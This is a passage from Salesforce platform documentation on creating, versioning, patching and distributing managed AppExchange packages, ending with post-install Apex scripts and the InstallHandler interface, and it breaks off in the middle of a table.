The following terms and definitions describe key application and packaging concepts and capabilities: App Short for application. A collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specific business need. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard apps to match the way you work. In addition, you can package an app and upload it to the AppExchange along with related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available to other Salesforce users from the AppExchange. AppExchange The AppExchange is a sharing interface from salesforce.com that allows you to browse and share apps and services for the Force.com platform. Beta, Managed Package In the context of managed packages, a beta managed package is an early version of a managed package distributed to a sampling of your intended audience to test it. Deploy To move functionality from an inactive state to active. For example, when developing new features in the Salesforce user interface, you must select the Deployed option to make the functionality visible to other users. The process by which an application or other functionality is moved from development to production. To move metadata components from a local file system to a Salesforce organization. For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a custom object is deployed, it is only available to administrators and any users with the Customize Application permission. License Management Application (LMA) A free AppExchange app that allows you to track sales leads and accounts for every user who downloads your managed package (app) from the AppExchange.

2030

Create

Glossary

License Management Organization (LMO) The Salesforce organization that you use to track all the Salesforce users who install your package. A license management organization must have the License Management Application (LMA) installed. It automatically receives notification every time your package is installed or uninstalled so that you can easily notify users of upgrades. You can specify any Enterprise, Unlimited, or Developer Edition organization as your license management organization. For more information, go to http://www.salesforce.com/docs/en/lma/index.htm. Major Release A significant release of a package. During these releases, the major and minor numbers of a package version increase to any chosen value. Managed Package A collection of application components that is posted as a unit on the AppExchange and associated with a namespace and possibly a License Management Organization. To support upgrades, a package must be managed. An organization can create a single managed package that can be downloaded and installed by many different organizations. Managed packages differ from unmanaged packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages obfuscate certain components (like Apex) on subscribing organizations to protect the intellectual property of the developer. Managed Package Extension Any package, component, or set of components that adds to the functionality of a managed package. You cannot install an extension before installing its managed package. Namespace Prefix In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce organizations. It keeps your managed package under your control exclusively. Package A group of Force.com components and applications that are made available to other organizations through the AppExchange. You use packages to bundle an app along with any related components so that you can upload them to AppExchange together. Package Dependency This is created when one component references another component, permission, or preference that is required for the component to be valid. Components can include but are not limited to: Standard or custom fields Standard or custom objects Visualforce pages Apex code

Permissions and preferences can include but are not limited to: Divisions Multicurrency Record types

2031

Create

Glossary

Package Installation Installation incorporates the contents of a package into your Salesforce organization. A package on the AppExchange can include an app, a component, or a combination of the two. After you install a package, you may need to deploy components in the package to make it generally available to the users in your organization. Package Version A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. See also Patch and Patch Development Organization. Patch A patch enables a developer to change the functionality of existing components in a managed package, while ensuring subscribing organizations that there are no visible behavior changes to the package. For example, you can add new variables or change the body of an Apex class, but you may not add, deprecate, or remove any of its methods. Patches are tracked by a patchNumber appended to every package version. See also Patch Development Organization and Package Version. Patch Development Organization The organization where patch versions are developed, maintained, and uploaded. Patch development organizations are created automatically for a developer organization when they request to create a patch. See also Patch and Package Version. Patch Release A minor upgrade to a managed package. During these releases, the patch number of a package version increments. Publisher The publisher of an AppExchange listing is the Salesforce user or organization that published the listing. Push Upgrade A method of delivering updates that sends upgrades of an installed managed package to all organizations that have installed the package. Subscriber The subscriber of a package is a Salesforce user with an installed package in their Salesforce organization. Test Drive A test drive is a fully functional Salesforce organization that contains an app and any sample records added by the publisher for a particular package. It allows users on AppExchange to experience an app as a read-only user using a familiar Salesforce interface. Unmanaged Package A package that cannot be upgraded or controlled by its developer.

2032

Create

Enabling Managed Packages for Your Organization

Upgrading Upgrading a package is the process of installing a newer version. Salesforce supports upgrades for managed packages that are not beta. Uploading Uploading a package in Salesforce provides an installation URL so other users can install it. Uploading also makes your packaged available to be published on AppExchange.

See Also:
What is an App?

Enabling Managed Packages for Your Organization


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable managed packages: To create packages: To upload packages: Customize Application Create AppExchange packages Download AppExchange packages

Creating a managed package is just as easy as creating an unmanaged package, but it requires a few customizations in your organization first. The only requirement for enabling your Salesforce organization to create managed packages is that you are using a Developer Edition organization. To enable your organization for managed packages: Review the information about managed packages in the Force.com Quick Reference for Developing Packages before determining if this is the right type of package for your app. Optionally, install the License Management Application (LMA) from http://sites.force.com/appexchange. Search for License Management App to locate it. The License Management Application (LMA) tracks information about each user who installs your app. It allows you to track what users have which version, giving you a means of distributing information about upgrades. The License Management Application (LMA) can be installed in any Salesforce organization except a Personal, Group, or Professional Edition organization and does not need to be the same Salesforce organization that you use to create or upload the package, although it can be. You can also use the same License Management Application (LMA) to manage an unlimited number of your managed packages in different Developer Edition organizations.

2033

Create

Enabling Managed Packages for Your Organization

Configure your developer settings. Your developer settings specify your namespace prefix, the Salesforce organization where you install the License Management Application (LMA), and the unmanaged package you want to convert into a managed package.

See Also:
Managing Packages Converting Unmanaged Packages to Managed Configuring Your Developer Settings Registering a Namespace Prefix Specifying a License Management Organization

About Managed Packages


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A managed package is a collection of application components that are posted as a unit on AppExchange, and are associated with a namespace and a License Management Organization. You must use a Developer Edition organization to create and work with a managed package. Managed packages are depicted by the following icons: Managed - Beta Managed - Released Managed - Installed Tip: To prevent naming conflicts, Salesforce recommends using managed packages for all packages that contain Apex. This way, all of the Apex objects contain your namespace prefix. For example, if there is an Apex class called MyHelloWorld and the namespace for your organization is OneTruCode, the class is referenced as OneTruCode.MyHelloWorld.

2034

Create

Enabling Managed Packages for Your Organization

Configuring Your Developer Settings


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To configure developer settings: To create packages: To upload packages: Customize Application Create AppExchange Packages Upload AppExchange Packages

The developer settings in a Developer Edition organization allow you to create a single managed package, upload that package to Force.com AppExchange, allowing other users to install and upgrade the package in their organization. After configuring your developer settings the first time, you can no longer modify them. Regardless of the developer settings, you can always create an unlimited number of unmanaged packages. Before configuring your developer settings, review the requirements and steps in Enabling Managed Packages for Your Organization on page 2033. To configure your developer settings: 1. Click Your Name > Setup > Create > Packages. 2. Click Edit. Note: This button does not appear if you have already configured your developer settings.

3. Review the selections necessary to configure developer settings, and click Continue. 4. Register a namespace prefix. 5. Choose the package you want to convert to a managed package. If you do not yet have a package to convert, leave this selection blank and update it later. 6. Click Review My Selections. 7. Click Save. Tip: You may want to specify a License Management Organization (LMO) for your managed package; to find out more, go to http://sites.force.com/appexchange/publisherHome.

See Also:
Enabling Managed Packages for Your Organization Registering a Namespace Prefix Specifying a License Management Organization

2035

Create

Enabling Managed Packages for Your Organization

Registering a Namespace Prefix


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To configure developer settings: To create packages: To upload packages: Customize Application Create AppExchange Packages Upload AppExchange Packages

In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce organizations. It keeps your managed package under your control exclusively. Salesforce automatically prepends your namespace prefix, followed by two underscores (__), to all unique component names in your Salesforce organization. A unique package component is one that requires a name that no other component has within Salesforce, such as custom objects, custom fields, custom links, s-controls, and validation rules. For example, if your namespace prefix is abc and your managed package contains a custom object with the API name, Expense__c, use the API name abc__Expense__c to access this object using the API. The namespace prefix is displayed on all component detail pages. Warning: S-controls stored in the s-control library or the Documents tab that do not use the Force.com API still function properly after you register a namespace prefix. However, s-controls stored outside of your organization or s-controls that use the Force.com API to call Salesforce may require some fine-tuning. For more information, see S-control in the Object Reference. Your namespace prefix must: Begin with a letter Contain one to 15 alphanumeric characters Not contain two consecutive underscores

To register a namespace prefix: 1. Click Your Name > Setup > Create > Packages. 2. Click Edit. Note: This button does not appear if you have already configured your developer settings.

3. 4. 5. 6.

Review the selections necessary to configure developer settings and click Continue. Enter the namespace prefix you want to register. Click Check Availability to determine if it is already in use. Repeat if the namespace prefix you entered is not available.

2036

Create

Managing Packages

7. Click Review My Selections. 8. Click Save.

See Also:
Enabling Managed Packages for Your Organization Configuring Your Developer Settings Specifying a License Management Organization

Specifying a License Management Organization


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A license management organization is a Salesforce organization that you use to track all Salesforce users who install your managed package. The license management organization receives notification (in the form of a lead record) when a user installs or uninstalls your package and tracks each package upload on Force.com AppExchange. Your license management organization can be any Salesforce Enterprise, Unlimited, or Developer Edition organization that has installed the free License Management Application (LMA) from AppExchange. To specify a License Management Organization, go to http://sites.force.com/appexchange/publisherHome.

See Also:
Enabling Managed Packages for Your Organization Configuring Your Developer Settings Registering a Namespace Prefix

Managing Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To upload packages: Upload AppExchange packages

Packages are a collection of Force.com components and applications that are made available to other organizations through the AppExchange. A managed package is a collection of application components that are posted as a unit on AppExchange, and are associated with a namespace and a License Management Organization. To support upgrades, a package must be managed. An organization can create a single managed package that can be downloaded and installed by many different organizations. Managed packages differ from unmanaged packages by having some locked components, allowing the managed

2037

Create

Managing Packages

package to be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages obfuscate certain components (like Apex) on subscribing organizations to protect the intellectual property of the developer. For details, see the Force.com Quick Reference for Developing Packages. To manage your packages, click Your Name > Setup > Create > Packages. For more customization, see Configuring Your Developer Settings on page 2035. From the list of packages, you can do any of the following: Click New to create a new package, enter a package name and description, and click Save to store it in your list of packages. Click Edit to update the package properties. Click Del to delete the package. The components contained in your package are not deleted. Click the name of the package to view the details of the package. Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded, click Proceed to AppExchange from the package upload detail page.

See Also:
Overview of Packages Viewing Package Details Creating and Editing a Package

About Package Versions


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. Version numbers depend on the package release type, which identifies the way packages are distributed. There are two kinds: Major Release A major release denotes a Managed - Released package. During these releases, the major and minor numbers of a package version increase to a chosen value.

2038

Create

Managing Packages

Patch Release A patch release is only for patch versions of a package. During these releases, the patch number of a package version increments. When an existing subscriber installs a new package version, there is still only one instance of each component in the package, but the components can emulate older versions. For example, a subscriber may be using a managed package that contains an Apex class. If the publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber still sees only one instance of the Apex class after installing the new version. However, this Apex class can still emulate the previous version for any code that references the deprecated method in the older version. Package developers can use conditional logic in Apex classes and triggers to exhibit different behavior for different versions. This allows the package developer to continue to support existing behavior in classes and triggers in previous package versions while continuing to evolve the code. When you are developing client applications using the API, you can specify the version of each package that you use in your integrations.

See Also:
Managing Packages Planning the Release of Managed Packages Developer's Guide: Force.com Apex Code Developer's Guide Developer's Guide: Web Services API Developer's Guide

Creating and Editing a Package


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create packages: Create AppExchange Packages

An app can contain many different components and you can create, upload, and register your apps on your own timeline. To group components in a container to upload to Force.com AppExchange, create a package and add components to the package. A package is the container for the app that you must use to upload all its components together. Tip: Before you begin, determine if you want to create and upload a managed or unmanaged package.

To create a new package: 1. 2. 3. 4. Click Your Name > Setup > Create > Packages. Click New. Enter a name for your package. This does not have to be the same name that appears on AppExchange. From the drop-down menu, select the default language of all component labels in the package.

2039

Create

Managing Packages

5. Optionally, choose a custom link from the Configure Custom Link field to display configuration information to installers of your app. You can select a predefined custom link to a URL or s-control that you have created for your home page layouts; see the Configure Option on page 2071. The custom link displays as a Configure link within Salesforce on the Force.com AppExchange Downloads page and app detail page of the installer's organization. 6. Optionally, in the Notify on Apex Error field, enter the username of the person who should receive an email notification if an exception occurs in Apex that is not caught by the Apex code. If you do not specify a username, all uncaught exceptions generate an email notification that is sent to salesforce.com. This is only available for managed packages. For more information, see Handling Apex Exceptions in Managed Packages on page 2175. Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.

7. Optionally, enter a description that describes the package. You will have a chance to change this description before you upload it to AppExchange. 8. Optionally, specify a post install script. This is an Apex script that runs in the subscriber organization after the package is installed or upgraded. For more information, see Running Apex on Package Install/Upgrade. 9. Optionally, specify an uninstall script. This is an Apex script that runs in the subscriber organization after the package is uninstalled. For more information, see Running Apex on Package Uninstall. 10. Click Save. After you create a package you can do any of the following: View the package details Add components to the package Upload the package

See Also:
Viewing Package Details Preparing Your Apps for Distribution

Adding Components to Your Package


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create packages: Create AppExchange Packages

After you have created a package, you need to add components to it, such as app, object, Apex classes or Visualforce pages. These packages can be uploaded to share with others privately or posted on Force.com AppExchange to share publicly. To add components to a package, click Your Name > Setup > Create > Packages and select the name of the package you want to add components to. From the package detail page: 1. Click Add.

2040

Create

Managing Packages

2. From the drop-down list, choose the type of component you want to add to your package. At the top of the list, click a letter to display the contents of the sorted column that begin with that character. If available, click the Next Page (or Previous Page) link to go to the next or previous set of components. If available, click fewer or more at the bottom of the list to view a shorter or longer display list.

3. Select the components you want to add. Note: Some components cannot be added to see Developing Packages for Distribution. Managed - Released packages. For a list of these components,

S-controls cannot be added to packages with restricted API access. 4. Click Add To Package.

See Also:
Managing Packages Viewing Package Details Preparing Your Apps for Distribution

Protected Components
Developers can mark certain components as protected. Protected components cant be linked to or referenced by components created in a subscriber organization. A developer can delete a protected component in a future release without worrying about failing installations. However, once a component is marked as unprotected and is released globally, the developer cant delete it. The developer can mark the following components as protected in managed packages. Custom labels Custom links (for Home page only) Workflow alerts Workflow field updates Workflow outbound messages Workflow tasks

About Permission Sets and Profile Settings in Packages


Available in: Enterprise, Unlimited, and Developer Editions

Developers can use permission sets or profile settings to grant permissions and other access settings to a package. When deciding whether to use permission sets, profile settings, or a combination of both, consider the similarities and differences.

2041

Create

Managing Packages

Behavior What permissions and settings are included?

Permission Sets Custom object permissions Custom field permissions Apex class access Visualforce page access Note: Permission sets include assigned apps and tab settings, but these settings cant be packaged as permission set components.

Profile Settings Assigned apps Tab settings Page layout assignments Record type assignments Custom object permissions Custom field permissions Apex class access Visualforce page access

Can they be upgraded in managed packages?

Yes.

Profile settings are applied to existing profiles in the subscriber's organization on install or upgrade. Only permissions related to new components created as part of the install or upgrade are applied. Yes.

Can subscribers edit them?

Subscribers can edit permission sets in managed packages, but not in unmanaged packages.

Can you clone or create them?

Yes. However, if a subscriber clones a Yes. Subscribers can clone any profile permission set or creates one that's based that includes permissions and settings on a packaged permission set, it won't be related to packaged components. updated in subsequent upgrades. Only the permission sets included in a package are upgraded. No. Also, you cant include object permissions for a custom object in a master-detail relationship where the master is a standard object. No. No.

Do they include standard object permissions?

Do they include user permissions? Are they included in the installation wizard?

No.

No. Subscribers must assign permission Yes. Profile settings are applied to sets after installation. existing profiles in the subscriber's organization on install or upgrade. Only permissions related to new components created as part of the install or upgrade are applied.

What are the user license requirements? A permission set is only installed if the None. In a subscriber organization, the subscriber organization has at least one installation overrides the profile settings, user license that matches the permission not their user licenses. set. For example, permission sets with the Salesforce Platform user license aren't installed in an organization that has no Salesforce Platform user licenses. If a subscriber subsequently acquires a license, they must reinstall the package to get the permission sets associated with the newly acquired license.

2042

Create

Viewing Package Details

Behavior

Permission Sets Permission sets with no user license are always installed. If you assign a permission set with no user license, all of its enabled settings and permissions must be allowed by the users license, or the assignment will fail.

Profile Settings

How are they assigned to users?

Subscribers must assign packaged permission sets after installing the package.

Profile settings are applied to existing profiles.

Best Practices Use permission sets in addition to packaged profiles so your subscribers can easily add new permissions for existing app users. If users need access to apps, tabs, page layouts, and record types, don't use permission sets as the sole permission-granting model for your app. Assigned apps and tab settings are available in the permission set user interface, but they arent included in permission set package components. Create packaged permission sets that grant access to the custom components in a package, but not standard Salesforce components.

Viewing Package Details


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create packages: Create AppExchange Packages

Click Your Name > Setup > Create > Packages and click the name of a package to view its details, including any added components, whether it is a managed package, if the package has been uploaded, and so on. The detail page has the following sections: Package Detail Components tab Versions tab Patch Organizations tab Remote Access tab (For managed packages only.)

From the Package Detail page, you can do any of the following: Click Edit to change the package name, custom link that displays when users click Configure, or description. Click Delete to delete the package. This does not delete the components contained in the package but the components will no longer be bundled together within this package.

2043

Create

Viewing Package Details

Click Upload to upload the package. You will receive an email when the upload is complete. For more information, see Managing Versions on page 2062. For more information on the entire process, see Preparing Your Apps for Distribution on page 2058. Optionally, you can enable, disable, or change the access that components in the package have to standard objects in the installing organization by using the links next to API Access. For more information about API access, see Managing API and Dynamic Apex Access in Packages on page 1859.

Viewing Package Details For package developers, the package detail section displays the following package attributes (in alphabetical order): Attribute
API Access

Description The type of access that the API and dynamic Apex that package components have. The default setting is Unrestricted, which means that all package components that access the API have the same access as the user who is logged in. Click Enable Restrictions or Disable Restrictions to change the API and dynamic Apex access permissions for a package. For more information about API access and the access dynamic Apex have for managed package components, see Managing API and Dynamic Apex Access in Packages on page 1859.

Created By Description Language Last Modified By Notify on Apex Error

The name of the developer that created this package, including the date and time. A detailed description of the package. The language used for the labels on components. The default value is your user language. The name of the last user to modify this package, including the date and time. The username of the person who should receive an email notification if an exception occurs in Apex that is not caught by the code. If you do not specify a username, all uncaught exceptions generate an email notification that is sent to salesforce.com. This is only available for managed packages. For more information, see Handling Apex Exceptions in Managed Packages on page 2175. Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.

Package Name Post Install Script

The name of the package, given by the publisher. The Apex code that runs after this package is installed or upgraded. For more information, see Running Apex on Package Install/Upgrade. Indicates whether this is a managed or unmanaged package. The Apex code that runs after this package is uninstalled. For more information, see Running Apex on Package Uninstall.

Type Uninstall Script

2044

Create

Viewing Package Details

Viewing Package Components For package developers, the Components tab lists every package component contained in the package, including the name and type of each component. If a component is deprecated, the developer of the package sees a see a icon. Click Add to add components to the package on page 2040. Note: Some related components are automatically included in the package even though they may not display in the Package Components list. For example, when you add a custom object to a package, its custom fields, page layouts, and relationships with standard objects are automatically included. For a complete list of components Salesforce automatically includes, see Developing Packages for Distribution. When you package a joined report, each block is included in the package. Although the blocks appear in the package as reports, when you click on a block, you see an error message that you have insufficient privileges to view the report. This is expected behavior. Instead, click on the name of the joined report to run it. icon next to the component. Subscribers of the package

Click View Dependencies to review a list of components that rely on other components, permissions, or preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components enabled or installed. For more information on dependencies, see Understanding Dependencies on page 2063. Click Back to Package to return to the Package detail page. Click View Deleted Components to see which components were deleted from the package across all of its versions. The following component information is displayed (in alphabetical order): Attribute
Action

Description Lists the actions you can perform on the component. The only choice is Remove, which removes the component from an unreleased package. Displays the version number of the package in which a component exists. This column lists how a component was included in a package. If the component was automatically included because it is referenced by another component, this column lists the name of the referencing component. If the component was added by a developer, this column lists User Selected. If the component was added in a prior version of this package, this column lists Previously Released. Displays the name of the component. If the component was added from a different installed package, this column lists the name of that package. Displays the name of the parent object a component is associated with. For example, a custom object is the parent of a custom field. Displays the type of the component.

Available in Versions Included By

Name Owned By Parent Object

Type

2045

Create

Viewing Package Details

Viewing Version History For package developers, the Versions tab lists all the previous uploads of a package. Click Push Upgrades to automatically upgrade subscribers to a specific version. Click the Version Number of any listed uploads to manage that upload. For more information, see Managing Versions on page 2062. Note: Push Upgrades is only available for patch updates. Registered Salesforce ISVs may request this feature through the Salesforce partner portal. The versions table displays the following package attributes (in alphabetical order): Attribute
Action

Description Lists the actions you can perform on the package. The possible actions are: Deprecate: Deprecates a package version. Warning: Users will no longer be able to download or install this package. However, existing installations will continue to work. Undeprecate: Enables a package version to be installed by users once again.

Status

The status of the package. The possible statuses are: Released: The package is Managed - Released. Beta: The package is Managed - Beta. Deprecated: The package version is deprecated. The version name for this package version. The version name is the marketing name for a specific release of a package. It is more descriptive than the Version Number. The version number for the latest installed package version. The format is majorNumber.minorNumber.patchNumber, such as 2.1.3. The version number represents a release of a package. The Version Name is a more descriptive name for the release. Note that the patchNumber is generated only when you create a patch. If there is no patchNumber, it is assumed to be zero (0).

Version Name

Version Number

Viewing Patch Development Organizations Every patch is developed in a patch development organization, which is the organization where patch versions are developed, maintained, and uploaded. To start developing a patch, you need to create a patch development organization. To do this, see Creating and Uploading Patches on page 2079. Patch development organizations are necessary to permit developers to make changes to existing components without causing incompatibilities between existing subscriber installations. Click New to create a new patch for this package. The Patch Organizations table lists all the patch development organizations created. It lists the following attributes (in alphabetical order):

2046

Create

Determining Your Development Process

Attribute
Action

Description Lists the actions you can perform on a patch development organization. The possible actions are: Login: Log into your patch development organization. Reset: Emails a new temporary password for your patch development organization. The login associated with the patch organization. The package version number that you are patching.

Administrator Username Patching Major Release

Remote Access For package developers, the Remote Access tab lists all the remote access applications created as part of this package. The following remote access information is displayed (in alphabetical order): Attribute
Name Version

Description The name of the remote access application. The version of the package that the remote access application is associated with.

See Also:
Creating and Editing a Package Preparing Your Apps for Distribution Managing Packages

Determining Your Development Process


Unmanaged packages are available in: Group, Professional, Enterprise, Unlimited, and Developer Editions Managed packages are available in: Developer Edition

All packages are unmanaged until you convert them to managed packages. This requires managed packages created in a Developer Edition organization. You may prefer developing managed packages because you can beta test them before a release and offer upgrades for them. Before creating a package, determine the development process you aim to take so that you can choose the most appropriate type of package for your process: Developing Unmanaged Packages Design your app. See the Force.com Quick Reference for Developing Packages. Package and upload your app.

2047

Create

Determining Your Development Process

Developing Managed Packages Design your app. See the Force.com Quick Reference for Developing Packages. Package and upload a beta version of your app. Gather feedback from your beta testers and make the appropriate fixes to your app. Package and upload your final version of the app.

See Also:
Planning the Release of Managed Packages Managing Packages Creating and Uploading Patches

Planning the Release of Managed Packages


Releasing an AppExchange package is similar to releasing any other program in software development. You may want to roll it out in iterations to ensure each component functions as planned. You may even have beta testers who have offered to install an early version of your package and provide feedback. Once you release a package by publishing it on AppExchange, anyone can install it. So, plan your release carefully. Review the states defined below to familiarize yourself with the release process. Salesforce automatically applies the appropriate state to your package and components depending on the upload settings you choose and where it is in the release process. State Unmanaged Description The package has not been converted into a managed package or the component has not been added to a managed package. Note that a component that is Managed - Beta can become Unmanaged if it is removed from a managed package. All packages are unmanaged unless otherwise indicated by one of the managed icons below. The package or component was created in the current Salesforce organization and is managed, but it is not released because of one of these reasons: It has not been uploaded. It has been uploaded with Managed - Beta option selected. This option prevents it from being published, publicly available on AppExchange. The developer can still edit any component but the installer may not be able to depending on which components were packaged.. The package or component was created in the current Salesforce organization and is managed. It is also uploaded with the Managed - Released option selected, indicating that it can be published on AppExchange and is publicly available. Note that once you have moved a package to this state, some properties of the components are no longer editable for both the developer and installer. This type of release is considered a major release. Patch If you need to provide a minor upgrade to a managed package, consider creating a patch instead of a new major release. A patchenables a developer to change the

Managed - Beta

Managed - Released

2048

Create

Determining Your Development Process

State

Description functionality of existing components in a managed package, while ensuring that subscribers experience no visible changes to the package. This type of release is considered a patch release.

Managed - Installed

The package or component was installed from another Salesforce organization but is managed.

A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may involve redesigning some of the components in the managed package. Developers cannot delete some components in a Managed - Released package, but they can deprecate a component in a later package version so that new subscribers do not receive the component, while the component continues to function for existing subscribers and API integrations. For more information on developing and releasing packages, see the Force.com Quick Reference for Developing Packages.

See Also:
Managing Packages Determining Your Development Process

Deleting Components from Managed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete components from a package: Create AppExchange Packages

After you've uploaded a Managed - Released package, you may find that a component needs to be deleted from your organization. One of the following situations may occur: The component, once added to a package, can't be deleted. Note: The Available Components table in the Force.com Quick Reference for Developing Packages has more information on which components can't be deleted. The component can be deleted, but can only be undeleted from the Deleted Package Components page. The component can be deleted, but can be undeleted from either the Deleted Package Components page or through the Recycle Bin

To access the Deleted Package Components page, click Your Name > Setup > Create > Packages, select the package the component was uploaded to, then click View Deleted Components. If a component can be retrieved through the Recycle Bin, it can also be retrieved through this page. You can retrieve the following types of components from here: Apex classes and triggers that don't have global access.

2049

Create

Determining Your Development Process

Visualforce components with public access. Protected components, including: Custom labels Custom links (for Home page only) Workflow alerts Workflow field updates Workflow outbound messages Workflow tasks

Data components, such as Documents, Dashboards, and Reports. These are the only types of components that can also be undeleted from the Recycle Bin.

You can retrieve components from the Recycle Bin and Deleted Package Components page any time before uploading a new version of the package. To do this, click Undelete next to the component. After a package is uploaded with a component marked for deletion, it is deleted forever. Warning: Although a component is deleted, its Name remains within Salesforce. You can never create another component with the same name. The Deleted Package Components page lists which names can no longer be used. The Deleted Components displays the following information (in alphabetical order): Attribute
Action

Description If the Managed - Released package hasn't been uploaded with the component deleted, this contains an Undelete link that allows you to retrieve the component. Displays the version number of the package in which a component exists. Displays the name of the component. Displays the name of the parent object a component is associated with. For example, a custom object is the parent of a custom field. Displays the type of the component.

Available in Versions

Name Parent Object

Type

Modifying Custom Fields after a Package is Released


Available in: Developer Edition

The following changes are allowed to custom fields in a package, after it is released. The length of a text field can be increased or decreased.

2050

Create

Environment Hub

The number of digits to the left or right of the decimal point in a number field can be increased or decreased. A required field can be made non-required and vice-versa. If a default value was required for a field, that restriction can be removed and vice-versa.

Environment Hub
Note: This feature is currently available through a pilot program. For information on enabling it for your organization, please contact salesforce.com. You can use the Environment Hub to view details of all your Salesforce organizations from one, central location. This can make administration much easier, especially for companies that use a large number of organizations for development and testing. From the Environment Hub, you can register all organizations currently used by your company, automatically detect related organizations, and view details about each, such as its type (for example, Development, Patch, or Release). You can also assign one or more tags to an organization and then filter by tag. To enable the Environment Hub in your current organization, click Create Hub. You only need to do this once. From the Hub, you can perform these actions. Click Add Organization to add another organization. Click the name of any organization to view details about it, including any child organizations it has. Click Edit next to an organization to update its details. Click Remove next to an organization to remove it from the Hub. Click Filter... and then click the name of a tag to view a list of all organizations with that tag. Click Remove Hub to remove the Hub.

Adding an Organization to the Environment Hub


Note: This feature is currently available through a pilot program. For information on enabling it for your organization, please contact salesforce.com. To add an organization to the Hub: 1. 2. 3. 4. Enter your username and password for the organization. Optionally, select Auto-Detect Related Organizations to add related organizations to the Hub. Click Save & Next. On the next page, optionally: Edit the name of the organization. Write a description for it. Specify one or more tags, separated by commas.

5. Click Save.

2051

Create

Running Apex on Package Install/Upgrade

Editing Organization Details


Note: This feature is currently available through a pilot program. For information on enabling it for your organization, please contact salesforce.com. To edit details of an organization in the Environment Hub: 1. Edit the name, login credentials, type, or tags for the organization. 2. Click Save.

Removing an Organization from the Environment Hub


Note: This feature is currently available through a pilot program. For information on enabling it for your organization, please contact salesforce.com. To remove this organization from the Hub, click Remove.

Running Apex on Package Install/Upgrade


App developers can specify an Apex script to run automatically after a subscriber installs or upgrades a managed package. This makes it possible to customize the package install or upgrade, based on details of the subscribers organization. For instance, you can use the script to populate custom settings, create sample data, send an email to the installer, notify an external system, or kick off a batch operation to populate a new field across a large set of data. For simplicity, you can only specify one post install script. It must be an Apex class that is a member of the package. The post install script is invoked after tests have been run, and is subject to default governor limits. It runs as a special system user that represents your package, so all operations performed by the script appear to be done by your package. You can access this user by using UserInfo. You will only see this user at runtime, not while running tests. If the script fails, the install/upgrade is aborted. Any errors in the script are emailed to the user specified in the Notify on Apex Error field of the package. If no user is specified, the install/upgrade details will be unavailable. The post install script has the following additional properties. It can initiate batch, scheduled, and future jobs. It cant access Session IDs. It can only perform callouts using an async operation. The callout occurs after the script is run and the install is complete and committed. Note: You cant run a post install script in a new trial organization provisioned using Trialforce. The script only runs when a subscriber installs your package in an existing organization.

2052

Create

Running Apex on Package Install/Upgrade

How does a Post Install Script Work?


A post install script is an Apex class that implements the InstallHandler interface. This interface has a single method called onInstall that specifies the actions to be performed on installation.
global interface InstallHandler { void onInstall(InstallContext context) }

The onInstall method takes a context object as its argument, which provides the following information. The org ID of the organization in which the installation takes place. The user ID of the user who initiated the installation. The version number of the previously installed package (specified using the Version class). This is always a three-part number, such as 1.2.0. Whether the installation is an upgrade. Whether the installation is a push.

The context argument is an object whose type is the InstallContext interface. This interface is automatically implemented by the system. The following definition of the InstallContext interface shows the methods you can call on the context argument.
global interface InstallContext { ID organizationId(); ID installerId(); Boolean isUpgrade(); Boolean isPush(); Version previousVersion(); }

Version Methods and Class You can use the methods in the System.Version class to get the version of a managed package and to compare package versions. A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every non-patch release. Major and minor number increases will always use a patch number of 0. The following are instance methods for the System.Version class. Method
compareTo

Arguments

Return Type

Description Compares the current version with the specified version and returns one of the following values: Zero if the current package version is equal to the specified package version An Integer value greater than zero if the current package version is greater than the specified package version

System.Version version Integer

2053

Create

Running Apex on Package Install/Upgrade

Method

